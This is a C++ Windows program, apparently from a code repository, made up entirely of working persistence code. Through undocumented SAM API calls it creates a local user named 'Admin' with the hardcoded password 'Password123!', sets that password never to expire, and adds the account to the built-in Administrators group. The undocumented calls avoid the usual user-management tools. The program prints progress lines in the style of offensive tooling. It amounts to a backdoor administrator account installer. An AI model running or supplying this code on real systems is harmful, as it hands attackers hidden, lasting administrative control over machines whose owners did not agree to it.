1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
|
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <wchar.h>
#pragma comment(lib, "samlib.lib")
#pragma comment(lib, "advapi32.lib")
typedef PVOID SAM_HANDLE;
#ifndef USER_NORMAL_ACCOUNT
#define USER_NORMAL_ACCOUNT 0x10
#endif
typedef enum _USER_INFORMATION_CLASS {
UserGeneralInformation = 1,
UserSetPasswordInformation = 15,
UserControlInformation = 16,
UserInternal1Information = 18
} USER_INFORMATION_CLASS;
typedef struct _SAM_USER_SET_PASSWORD_INFORMATION {
UNICODE_STRING Password;
BOOLEAN PasswordExpired;
} SAM_USER_SET_PASSWORD_INFORMATION, *PSAM_USER_SET_PASSWORD_INFORMATION;
typedef struct _SAM_USER_CONTROL_INFORMATION {
ULONG UserAccountControl;
} SAM_USER_CONTROL_INFORMATION, *PSAM_USER_CONTROL_INFORMATION;
extern "C" {
NTSTATUS NTAPI SamConnect(PUNICODE_STRING ServerName, SAM_HANDLE* ServerHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
NTSTATUS NTAPI SamOpenDomain(SAM_HANDLE ServerHandle, ACCESS_MASK DesiredAccess, PSID DomainId, SAM_HANDLE* DomainHandle);
NTSTATUS NTAPI SamCreateUser2InDomain(SAM_HANDLE DomainHandle, PUNICODE_STRING AccountName, ULONG AccountType, ACCESS_MASK DesiredAccess, SAM_HANDLE* UserHandle, PULONG GrantedAccess, PULONG RelativeId);
NTSTATUS NTAPI SamLookupNamesInDomain(SAM_HANDLE DomainHandle, ULONG Count, PUNICODE_STRING Names, PULONG* RelativeIds, PULONG* Use);
NTSTATUS NTAPI SamOpenUser(SAM_HANDLE DomainHandle, ACCESS_MASK DesiredAccess, ULONG UserId, SAM_HANDLE* UserHandle);
NTSTATUS NTAPI SamSetInformationUser(SAM_HANDLE UserHandle, USER_INFORMATION_CLASS UserInformationClass, PVOID Buffer);
NTSTATUS NTAPI SamOpenAlias(SAM_HANDLE DomainHandle, ACCESS_MASK DesiredAccess, ULONG AliasId, SAM_HANDLE* AliasHandle);
NTSTATUS NTAPI SamAddMemberToAlias(SAM_HANDLE AliasHandle, PSID MemberId);
NTSTATUS NTAPI SamCloseHandle(SAM_HANDLE SamHandle);
NTSTATUS NTAPI SamFreeMemory(PVOID Buffer);
}
void InitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) {
if (SourceString) {
DestinationString->Buffer = (PWSTR)SourceString;
DestinationString->Length = (USHORT)(wcslen(SourceString) * sizeof(WCHAR));
DestinationString->MaximumLength = DestinationString->Length + sizeof(WCHAR);
}
else {
DestinationString->Buffer = NULL;
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
}
bool GetAccountDomainSid(PSID* ppSid) {
HANDLE token = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
return false;
}
DWORD tokenSize = 0;
GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize);
if (tokenSize == 0) {
CloseHandle(token);
return false;
}
PTOKEN_USER tokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), 0, tokenSize);
if (!tokenUser) {
CloseHandle(token);
return false;
}
if (!GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize)) {
HeapFree(GetProcessHeap(), 0, tokenUser);
CloseHandle(token);
return false;
}
DWORD domainSidSize = 0;
GetWindowsAccountDomainSid(tokenUser->User.Sid, NULL, &domainSidSize);
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER || domainSidSize == 0) {
HeapFree(GetProcessHeap(), 0, tokenUser);
CloseHandle(token);
return false;
}
PSID domainSid = HeapAlloc(GetProcessHeap(), 0, domainSidSize);
if (!domainSid) {
HeapFree(GetProcessHeap(), 0, tokenUser);
CloseHandle(token);
return false;
}
if (!GetWindowsAccountDomainSid(tokenUser->User.Sid, domainSid, &domainSidSize)) {
HeapFree(GetProcessHeap(), 0, domainSid);
HeapFree(GetProcessHeap(), 0, tokenUser);
CloseHandle(token);
return false;
}
*ppSid = domainSid;
HeapFree(GetProcessHeap(), 0, tokenUser);
CloseHandle(token);
return true;
}
int main() {
NTSTATUS status;
SAM_HANDLE hSam = NULL;
SAM_HANDLE hDomain = NULL;
SAM_HANDLE hUser = NULL;
SAM_HANDLE hBuiltinDomain = NULL;
SAM_HANDLE hAlias = NULL;
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
UNICODE_STRING uUsername;
InitUnicodeString(&uUsername, L"Admin");
std::cout << "[*] Connecting to SAM..." << std::endl;
status = SamConnect(NULL, &hSam, MAXIMUM_ALLOWED, &ObjectAttributes);
if (status < 0) {
std::cerr << "[-] SamConnect failed: 0x" << std::hex << status << std::endl;
return 1;
}
PSID pAccountSid = NULL;
if (!GetAccountDomainSid(&pAccountSid)) {
std::cerr << "[-] Failed to get Account Domain SID" << std::endl;
SamCloseHandle(hSam);
return 1;
}
std::cout << "[*] Opening Account Domain..." << std::endl;
status = SamOpenDomain(hSam, MAXIMUM_ALLOWED, pAccountSid, &hDomain);
if (status < 0) {
std::cerr << "[-] SamOpenDomain (Account) failed: 0x" << std::hex << status << std::endl;
return 1;
}
std::cout << "[*] Creating user ''..." << std::endl;
ULONG grantedAccess;
ULONG userRid;
status = SamCreateUser2InDomain(hDomain, &uUsername, USER_NORMAL_ACCOUNT, MAXIMUM_ALLOWED, &hUser, &grantedAccess, &userRid);
bool hasUserRid = false;
if (status == 0xC0000035) {
std::cout << "[!] User already exists. Proceeding to add to group." << std::endl;
} else if (status < 0) {
std::cerr << "[-] SamCreateUser2InDomain failed: 0x" << std::hex << status << std::endl;
return 1;
} else {
std::cout << "[+] User created. RID: " << userRid << std::endl;
SamCloseHandle(hUser);
hasUserRid = true;
}
if (!hasUserRid) {
PULONG rids = NULL;
PULONG uses = NULL;
status = SamLookupNamesInDomain(hDomain, 1, &uUsername, &rids, &uses);
if (status < 0 || rids == NULL) {
std::cerr << "[-] SamLookupNamesInDomain failed: 0x" << std::hex << status << std::endl;
SamCloseHandle(hDomain);
SamCloseHandle(hSam);
HeapFree(GetProcessHeap(), 0, pAccountSid);
return 1;
}
userRid = rids[0];
hasUserRid = true;
SamFreeMemory(rids);
SamFreeMemory(uses);
}
if (hasUserRid) {
// Open user to set password and enable account
if (status == 0xC0000035 || status >= 0) { // If created or exists
std::cout << "[*] Opening user to set password and enable account..." << std::endl;
// Use userRid to open user
status = SamOpenUser(hDomain, MAXIMUM_ALLOWED, userRid, &hUser);
if (status >= 0) {
// 1. Set Password
UNICODE_STRING uPassword;
InitUnicodeString(&uPassword, L"Password123!");
SAM_USER_SET_PASSWORD_INFORMATION pwdInfo;
pwdInfo.Password = uPassword;
pwdInfo.PasswordExpired = FALSE;
std::cout << "[*] Setting password..." << std::endl;
status = SamSetInformationUser(hUser, UserSetPasswordInformation, &pwdInfo);
if (status < 0) {
std::cerr << "[-] Failed to set password: 0x" << std::hex << status << std::endl;
} else {
std::cout << "[+] Password set successfully." << std::endl;
}
// 2. Enable Account
SAM_USER_CONTROL_INFORMATION controlInfo;
controlInfo.UserAccountControl = USER_NORMAL_ACCOUNT | 0x10000; // USER_DONT_EXPIRE_PASSWORD
// Ensure we don't accidentally disable it (UF_ACCOUNTDISABLE is 0x0002)
std::cout << "[*] Enabling account..." << std::endl;
status = SamSetInformationUser(hUser, UserControlInformation, &controlInfo);
if (status < 0) {
std::cerr << "[-] Failed to enable account: 0x" << std::hex << status << std::endl;
} else {
std::cout << "[+] Account enabled." << std::endl;
}
SamCloseHandle(hUser);
} else {
std::cerr << "[-] Failed to open user: 0x" << std::hex << status << std::endl;
}
}
UCHAR subAuthCount = *GetSidSubAuthorityCount(pAccountSid);
ULONG sidLength = GetSidLengthRequired(subAuthCount + 1);
PSID pUserSid = HeapAlloc(GetProcessHeap(), 0, sidLength);
InitializeSid(pUserSid, GetSidIdentifierAuthority(pAccountSid), subAuthCount + 1);
for (UCHAR i = 0; i < subAuthCount; i++) {
*GetSidSubAuthority(pUserSid, i) = *GetSidSubAuthority(pAccountSid, i);
}
*GetSidSubAuthority(pUserSid, subAuthCount) = userRid;
PSID pBuiltinSid = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_BUILTIN_DOMAIN_RID, 0, 0, 0, 0, 0, 0, 0, &pBuiltinSid);
std::cout << "[*] Opening Builtin Domain..." << std::endl;
status = SamOpenDomain(hSam, MAXIMUM_ALLOWED, pBuiltinSid, &hBuiltinDomain);
if (status < 0) {
std::cerr << "[-] SamOpenDomain (Builtin) failed: 0x" << std::hex << status << std::endl;
} else {
std::cout << "[*] Opening Administrators Alias..." << std::endl;
status = SamOpenAlias(hBuiltinDomain, MAXIMUM_ALLOWED, 0x220, &hAlias);
if (status < 0) {
std::cerr << "[-] SamOpenAlias failed: 0x" << std::hex << status << std::endl;
} else {
std::cout << "[*] Adding user to Administrators..." << std::endl;
status = SamAddMemberToAlias(hAlias, pUserSid);
if (status < 0) {
if (status == 0xC0000035)
std::cout << "[!] User is already in Administrators group." << std::endl;
else
std::cerr << "[-] SamAddMemberToAlias failed: 0x" << std::hex << status << std::endl;
} else {
std::cout << "[+] User successfully added to Administrators group!" << std::endl;
}
SamCloseHandle(hAlias);
}
SamCloseHandle(hBuiltinDomain);
}
FreeSid(pBuiltinSid);
HeapFree(GetProcessHeap(), 0, pUserSid);
}
SamCloseHandle(hDomain);
SamCloseHandle(hSam);
HeapFree(GetProcessHeap(), 0, pAccountSid);
std::cout << "Done." << std::endl;
return 0;
}
|